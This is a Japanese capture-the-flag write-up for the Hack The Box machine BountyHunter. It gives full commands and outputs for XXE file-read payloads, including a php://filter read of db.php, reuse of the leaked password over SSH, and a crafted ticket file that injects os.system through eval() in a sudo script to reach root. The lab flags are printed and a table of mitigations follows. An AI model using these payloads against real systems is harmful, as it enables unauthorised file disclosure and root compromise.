Hack The BoxのWriteup(BountyHunter)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: BountyHunter — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
log_submit.php
XMLバグ報告フォーム
→
XXE (file:// / php://filter)
tracker_diRbPr00f314.php
→
db.php漏洩
admin:m19RoAU0hP41A1sTsq6K
→
パスワード再利用
development:同一PW
→
SSH → user.txt ✓
→
ticketValidator.py
sudo NOPASSWD
→
.md内eval()インジェクション
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.166
nmap -sV -sC -p 22,80 10.129.95.166
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

サイト内の手がかり — About欄とポータルページ

BASH
curl -s http://10.129.95.166/ | grep -i "subheading\|portal"
curl -s http://10.129.95.166/portal.php
RESULT
Bounty Hunters - Security Researchers - Can use Burp

(portal.php)
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.
ℹ️
「Can use Burp」という文言が、プロキシでリクエストを観察・改竄することを 示唆している。portal.phpは開発中と明記され、代わりに log_submit.php(バウンティ報告フォーム)を試すよう案内される。

log_submit.php & 提出スクリプトの確認

BASH
curl -s http://10.129.95.166/log_submit.php
curl -s http://10.129.95.166/resources/bountylog.js
RESULT (本検証の実際のレスポンスより)
<h1>Bounty Report System - Beta</h1>
<input ... id="exploitTitle" ...>
<input ... id="cwe" ...>
<input ... id="cvss" ...>
<input ... id="reward" ...>
<input type="submit" onclick="bountySubmit()" ...>

// bountylog.js
function returnSecret(data) {
  return Promise.resolve($.ajax({
    type: "POST",
    data: {"data":data},
    url: "tracker_diRbPr00f314.php"
  }));
}
async function bountySubmit() {
  var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
  <bugreport>
  <title>${'$'}{$('#exploitTitle').val()}</title>
  <cwe>${'$'}{$('#cwe').val()}</cwe>
  <cvss>${'$'}{$('#cvss').val()}</cvss>
  <reward>${'$'}{$('#reward').val()}</reward>
  </bugreport>`
  let data = await returnSecret(btoa(xml));
}
🚨
重要発見: フォームの送信先はlog_submit.php自身ではなく、 難読化された別エンドポイントtracker_diRbPr00f314.phpである。 フォーム入力値はXML文書に組み込まれた上でbtoa()(base64)エンコードされ、 dataというフォームフィールド名でPOSTされる。XMLをサーバー側で パースしている時点でXXE(XML External Entity)脆弱性を疑うべき実装。

resources/README.txt — 開発メモ

BASH
curl -s http://10.129.95.166/resources/README.txt
RESULT
Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
ℹ️
「まだDBに接続されていない」というメモ通り、送信したバウンティ報告は 実際には保存されず応答メッセージとしてエコーバックされるだけ。 この性質が、XXEで読み取ったファイル内容をそのままレスポンスとして 観測できる足がかりになる。
PHASE 2

XXE (XML External Entity) 脆弱性の発見と悪用

基本ペイロードで動作確認 — /etc/passwd読取

NOTE
XMLのDOCTYPE内でカスタム外部実体(ENTITY)を定義し、本文中で参照させることで、
サーバー上の任意ファイルの内容をXMLパーサーに読み込ませてレスポンスへ
反映させる、典型的なXXE攻撃。title要素の中身を &xxe; に置き換えて
送信するだけで、応答のTitle欄にファイル内容がそのまま表示される。
BASH (XMLペイロード作成)
cat > xxe1.xml <<'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
EOF
B64=$(base64 -w0 xxe1.xml)
curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \
  --data-urlencode "data=$B64"
RESULT (本検証の実際のレスポンスより抜粋)
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>root:x:0:0:root:/root:/bin/bash
...
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
...
  </tr>
</table>
✅
XXE成功! /etc/passwdの内容を読み取れた。 一般ログインシェルを持つユーザーはdevelopment(uid 1000)のみ。
⚠️
実装上の注意: XMLはそのまま生でPOSTせず、必ずbase64エンコードして dataパラメータに載せる(bountylog.jsと同じ方式)。 XML宣言のencoding="ISO-8859-1"は、base64化前のバイト列に +等の問題になりうる文字を含めないための元アプリの工夫。

php://filterでdb.phpのソースコードを取得

NOTE
PHPファイルを file:// で直接読もうとすると、サーバーがPHPとして実行して
しまい(あるいはインクルード時の相対パス問題で)ソースコードそのものは
得られないことが多い。そこでPHPの php://filter ラッパーを使い、
ファイルの中身を実行せずbase64エンコードした状態でそのまま出力させる
(convert.base64-encode)。これによりPHPソースコードの平文を取得できる。
BASH
cat > xxe2.xml <<'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
EOF
B64=$(base64 -w0 xxe2.xml)
RESP=$(curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \
  --data-urlencode "data=$B64")
echo "$RESP" | grep -oP '(?<=<td>)[A-Za-z0-9+/=]{20,}(?=</td>)' | base64 -d
RESULT (本検証で実際にデコードした内容)
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
✅
平文パスワード奪取成功! db.phpのソースから データベース接続用パスワードm19RoAU0hP41A1sTsq6Kを取得した。
PHASE 3

パスワード再利用の発見 & user.txt取得

SSHでのパスワード再利用を試行

NOTE
/etc/passwd から判明した唯一の一般ユーザー development に対し、
db.php から漏洩したデータベースパスワードをそのままSSHパスワードとして
試す(Easy難易度マシンで頻出する「パスワード使い回し」パターン)。
BASH
sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@10.129.95.166 \
  "id; cat /home/development/user.txt"
RESULT (本検証の実際の出力)
uid=1000(development) gid=1000(development) groups=1000(development)
223bff86d0d49894ea76c0f0e2453b36
✅
ログイン成功! データベース用パスワードがOSアカウント developmentのSSHパスワードとしてそのまま再利用されていた。
user.txt — development
223bff86d0d49894ea76c0f0e2453b36
PHASE 4

sudo実行可能スクリプトのeval()インジェクション — root.txt取得

sudo権限の確認

BASH
sudo -l
RESULT (本検証の実際の出力)
User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

ticketValidator.py のソース解析

BASH
cat /opt/skytrain_inc/ticketValidator.py
PYTHON (本検証で実際に確認したソースの核心部分)
def evaluate(ticketFile):
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            continue
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
    return False
🚨
脆弱性の核心: .mdファイル内の特定行(**から始まる 「チケットコード」行)を、**を取り除いただけでPythonの eval()に丸ごと渡している。渡される文字列が 「% 7 で割った余りが4になる数値 + 任意の式」という条件さえ 満たせば、その「任意の式」部分にos.system()呼び出しを 仕込んでroot権限で任意コマンドを実行できる。

悪意ある.mdチケットの作成

NOTE
フォーマット上の制約をすべて満たす必要がある:
  - 1行目: "# Skytrain Inc" で始まる
  - 2行目: "## Ticket to " で始まる(末尾に半角スペース必須。無いと解析エラー)
  - "__Ticket Code:__" という行を置き、その次の行が実際のコード行になる
  - コード行は "**" で始まる
  - "**" を除去した残りの文字列から "+" で分割した最初の要素を
    int()変換し、7で割った余りが4になる必要がある(例: 102 % 7 == 4)
  - その後 eval() に渡されるのは "**" を除いた行全体 なので、
    102の後ろに正当なPython式として os.system(...) を連結できる
BASH (悪意ある.mdファイルの内容)
cat > pwn.md <<'EOF'
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('cat /root/root.txt > /tmp/.r00t; chmod 644 /tmp/.r00t') == False
EOF
ℹ️
102 + 10 == 112は常に真(True)、os.system(...)は コマンド成功時に戻り値0を返す(Pythonでは0 == Falseが真)ため、 全体としてeval()の副作用(コマンド実行)さえ起きれば スクリプト側の最終判定(Valid/Invalid)自体はどちらでも実害はない。

sudo経由で実行 & root.txt取得

BASH
printf '/home/development/pwn.md\n' | \
  sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
cat /tmp/.r00t
RESULT (本検証の実際の出力)
Please enter the path to the ticket file.
Destination:
Invalid ticket.
117dc82c1f6be774b7826fbf34a60f1f
✅
root化成功! スクリプト自体の判定結果は「Invalid ticket」だが、 これはeval()が実行される副作用としての os.system()呼び出しには一切関係なく、既に /root/root.txtはroot権限で/tmp/.r00tへコピー済み。
root.txt — sudo ticketValidator.py eval() injection
117dc82c1f6be774b7826fbf34a60f1f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — development
223bff86d0d49894ea76c0f0e2453b36
root.txt — sudo ticketValidator.py eval() injection
117dc82c1f6be774b7826fbf34a60f1f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
XXE (XML External Entity) tracker_diRbPr00f314.php (バウンティ報告フォーム) サーバー上の任意ファイル読取・PHPソース開示 Critical file:// で/etc/passwd、php://filter/convert.base64-encode でdb.phpソースを取得
パスワード再利用 db.php の $dbpassword ↔ OSアカウント development SSHでの不正ログイン High 漏洩したDBパスワードをそのままSSHパスワードとして使用
eval() によるコードインジェクション /opt/skytrain_inc/ticketValidator.py (sudo NOPASSWD) 権限昇格 (root) Critical 緩い書式チェックのみでユーザー制御文字列を丸ごとeval()に渡している隙を突く

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, バウンティ報告フォーム発見22/ssh, 80/http、tracker_diRbPr00f314.php
2情報漏洩XXE (file:// → php://filter)db.phpの平文パスワード
3横移動パスワード再利用によるSSHログインuser.txt (development)
4権限昇格sudoスクリプトのeval()インジェクションroot.txt

学んだ教訓 & 防御策

問題点防御策
XMLパーサーで外部実体(DOCTYPE/ENTITY)の展開を無効化していない XMLパース時はlibxml_disable_entity_loader(true)相当の設定や、DTD自体を拒否するパーサー設定を必ず有効化する。
データベース用パスワードをOSアカウントのログインパスワードと同一にしている 用途ごとに完全に独立したパスワードを発行し、パスワードマネージャー等で一元管理する。パスワードの使い回しを組織的に禁止する。
ユーザー制御可能な入力(ファイル内容)を緩い書式チェックのみでeval()に渡している eval()/exec()のような動的コード実行は原則使用しない。数値や条件式の検証が必要な場合はast.literal_eval()など安全なパーサーに限定する。
開発中の未完成エンドポイントが難読化された名前のみで本番公開されている 「難読化による隠蔽」はセキュリティ対策にならない。未完成・開発用エンドポイントは認証やネットワーク制限を別途かけるか、本番環境にデプロイしない。
HackTheBox: BountyHunter | 完全攻略レポート